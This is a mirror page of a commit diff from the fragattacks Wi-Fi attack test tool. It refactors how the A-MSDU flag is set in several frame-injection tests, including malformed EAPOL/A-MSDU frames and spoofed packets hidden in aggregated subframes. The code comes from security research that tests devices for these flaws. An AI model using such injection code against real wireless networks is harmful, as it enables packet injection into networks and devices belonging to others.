mirror of
https://github.com/vanhoefm/fragattacks.git
synced 2024-11-24 16:28:23 -05:00
fragattack: use set_amsdu and is_amsdu functions
This commit is contained in:
parent
56a0d40b3b
commit
d7718bc6f6
@ -59,8 +59,7 @@ def freebsd_encap_eapolmsdu(p, src, dst, payload):
|
||||
p.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||
|
||||
# Encapsulate EAPOL in malformed EAPOL/A-MSDU fragment
|
||||
p.A_MSDU_Present = 1
|
||||
|
||||
set_amsdu(p)
|
||||
|
||||
p = p/freebsd_create_eapolmsdu(src, dst, payload)
|
||||
return p
|
||||
|
@ -1 +1 @@
|
||||
Subproject commit efd0f0f571f286768d057d81731ca63bdb3eb75c
|
||||
Subproject commit 424954db968be2ba47450db525b31bc2f60a7a2e
|
@ -42,7 +42,7 @@ class AmsduInject(Test):
|
||||
p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="3.5.1.1")/TCP()/Raw(b"A" * 748)
|
||||
|
||||
p = p/create_msdu_subframe(src, dst, request, last=True)
|
||||
p[Dot11QoS].A_MSDU_Present = 1
|
||||
set_amsdu(p[Dot11QoS])
|
||||
|
||||
# Schedule transmission of frame
|
||||
self.actions[0].frame = p
|
||||
|
@ -58,12 +58,12 @@ class PingTest(Test):
|
||||
|
||||
if self.as_msdu == 1:
|
||||
# Set the A-MSDU frame type flag in the QoS header
|
||||
header.A_MSDU_Present = 1
|
||||
set_amsdu(header)
|
||||
# Encapsulate the request in an A-MSDU payload
|
||||
request = create_msdu_subframe(station.mac, station.get_peermac(), request)
|
||||
elif self.as_msdu == 2:
|
||||
# Set A-MSDU flag but include a normal payload (fake A-MSDU)
|
||||
header.A_MSDU_Present = 1
|
||||
set_amsdu(header)
|
||||
|
||||
# Generate all the individual (fragmented) frames
|
||||
num_frags = len(self.get_actions(Action.Inject))
|
||||
@ -237,7 +237,7 @@ class EapolAmsduTest(Test):
|
||||
# Generate the single frame
|
||||
header, request, check_fn = generate_request(station, self.ptype, dport=self.dport)
|
||||
# Set the A-MSDU frame type flag in the QoS header
|
||||
header.A_MSDU_Present = 1
|
||||
set_amsdu(header)
|
||||
|
||||
# We can automatically detect the result if the last fragment was sent after a connected event.
|
||||
# Note we might get a reply during a rekey handshake, and this will be handled properly.
|
||||
|
Loading…
Reference in New Issue
Block a user